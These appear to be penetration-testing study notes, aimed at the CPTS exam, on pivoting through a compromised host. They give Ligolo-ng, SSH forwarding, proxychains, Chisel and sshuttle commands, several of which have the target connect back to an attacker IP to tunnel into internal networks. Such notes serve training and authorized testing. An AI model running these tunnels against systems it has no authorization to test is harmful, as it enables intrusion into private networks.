Organized notes for pivoting, tunneling, and port forwarding techniques. Last Updated: 2026-03-27
Pivoting allows you to access internal networks through a compromised host. This is critical when targets exist on network segments not directly accessible from the attacker machine.
# Create TUN interface
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
# Run the proxy
./proxy -selfcert
# Windows
.\agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
# Linux
./agent -connect <ATTACKER_IP>:11601 -ignore-cert
# Add target network as route
ip route add 192.168.x.0/24 dev ligolo
# Enter a session
session
# (choose the appropriate session)
# Start tunneling
start
# Confirm active tunnels
tunnel_list
# Create a listener that forwards from agent to attacker
listener_add --addr 0.0.0.0:1234 --to 0.0.0.0:4444
# Remove routes when done
ip route del 192.168.x.0/24 dev ligolo
β οΈ CPTS Exam Tip: Ligolo-ng is the preferred pivoting tool. Practice the setup thoroughly β you WILL need it in the exam.
# Forward local port to remote service
ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> user@<PIVOT_HOST>
# Example: Access internal web server on port 80
ssh -L 8080:10.10.10.5:80 user@pivot.com
# Then browse: http://127.0.0.1:8080
# Forward remote port back to attacker
ssh -R <REMOTE_PORT>:localhost:<LOCAL_PORT> user@<ATTACKER_IP>
# Example: Expose local port 4444 on pivot host
ssh -R 4444:localhost:4444 user@pivot.com
# Create SOCKS proxy
ssh -D 1080 user@<PIVOT_HOST> -N -f
# Use with proxychains
# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
proxychains nmap -sT -Pn <INTERNAL_IP>
Chisel is a popular alternative to Ligolo-ng.
# On attacker (server)
./chisel server --reverse --port 8000
# On target (client)
./chisel client <ATTACKER_IP>:8000 R:socks
# On attacker
./chisel server --reverse --port 8000
# On target β forward specific port
./chisel client <ATTACKER_IP>:8000 R:8888:<INTERNAL_IP>:80
# Route traffic through SSH
sshuttle -r user@<PIVOT_HOST> <INTERNAL_SUBNET>/24
# With SSH key
sshuttle -r user@<PIVOT_HOST> --ssh-cmd "ssh -i id_rsa" <INTERNAL_SUBNET>/24